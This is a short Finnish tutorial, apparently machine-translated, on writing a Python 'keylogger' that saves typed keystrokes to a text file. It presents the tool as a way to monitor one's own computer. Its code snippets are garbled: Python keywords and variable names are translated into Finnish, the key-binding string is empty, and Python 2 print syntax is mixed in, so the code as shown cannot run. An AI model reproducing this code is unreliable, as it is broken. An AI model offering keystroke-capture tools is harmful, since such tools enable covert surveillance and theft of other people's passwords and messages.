Keyloggerin luominen Pythonilla

Nainen tietokoneen ääressä katsomassa olkapäänsä yli

Kaappaa näppäinpainallukset ja tallenna ne tiedostoon.

Kuvan luotto: Jupiterimages/Photos.com/Getty Images

Pythonilla voit luoda näppäinloggeriohjelman tallentaaksesi tietokoneen näppäimistöllä kirjoitetut näppäinpainallukset. Näppäinpainallukset tallennetaan tekstitiedostoon, ja se tallentaa kaikki syötteet. Voit käyttää avainloggeria seurataksesi toimintaa tietokoneellasi.

Vaihe 1

Käynnistä IDLE, napsauta "Tiedosto"-valikkoa ja avaa uusi ikkuna valitsemalla "Uusi ikkuna". Paina Ctrl ja S käynnistääksesi "Tallenna nimellä" -ikkunan. Käytä "getKeyLogger" tiedostonimenä ja napsauta "Tallenna".

Päivän video

Vaihe 2

Lisää seuraava koodirivi tuodaksesi "Tkinter"-nimiavaruuden ja määrittämällä sen tiedoston polun, jota haluat käyttää kirjautumiseen:

tuo Tkinter muodossa tk myFile = open("C:/temp/keyFile.txt", "w")

Vaihe 3

Kopioi ja liitä seuraava koodi tallentaaksesi jokaisen näppäinpainalluksen tiedostoon:

def keypress (tapahtuma): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write (keyPressed)

Vaihe 4

Lisää seuraava koodi ilmoittaaksesi käyttäjälle, että hän voi aloittaa kirjoittamisen ja että hän voi lopettaa ohjelman painamalla Esc:

pää = tk. Tk() print "Paina mitä tahansa näppäintä (poistuaksesi Esc-näppäimestä):" main.bind_all('', näppäinpainallus) main.withdraw() main.mainloop() myFile.close()

Vaihe 5

Napsauta "Windows" -käynnistyspainiketta ja kirjoita "cmd" "hae ohjelmia ja tiedostoja" -ruutuun. Avaa komentokehote painamalla Enter. Siirry kohtaan "C:\Python" ja kirjoita "python getKeyLogger." Suorita ohjelma painamalla Enter. Siirry kohtaan "C:/temp/" ja kaksoisnapsauta "keyFile.txt" nähdäksesi näppäilytiedot.